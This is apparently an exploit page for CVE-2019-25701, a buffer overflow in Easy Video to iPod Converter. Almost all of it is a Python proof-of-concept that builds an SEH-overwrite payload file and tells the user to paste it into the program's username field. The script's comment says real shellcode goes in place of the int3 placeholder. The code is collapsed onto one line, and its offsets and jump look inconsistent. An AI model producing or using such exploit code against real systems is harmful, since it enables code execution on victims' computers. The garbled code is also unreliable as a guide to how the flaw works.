CVE-2019-25701 Easy Video to iPod Converter缓冲区溢出漏洞

#!/usr/bin/python # PoC for CVE-2019-25701 - Easy Video to iPod Converter SEH Overflow import sys # Offset to overwrite SEH offset = 996 # Jump to the next SEH record (Short jump) nseh = "\xeb\x08\x90\x90" # POP POP RET instruction address (Universal or specific to module) # This address needs to be valid for the target application's loaded modules seh = "\x15\x41\x01\x10" # Payload (calc.exe or bind shell) # 350 bytes of NOP sled + Shellcode nop_sled = "\x90" * 50 shellcode = "\xcc" * 300 # Int3 for debugging, replace with real shellcode # Padding to align buffer padding = "D" * (offset - len(nseh) - len(seh) - len(nop_sled) - len(shellcode)) # Construct the payload payload = padding + nop_sled + shellcode + nseh + seh + "C" * 500 try: with open("exploit.txt", "w") as f: f.write(payload) print("[+] Payload generated successfully in exploit.txt") print("[+] Copy content into the username field of Easy Video to iPod Converter.") except: print("[-] Error creating file.")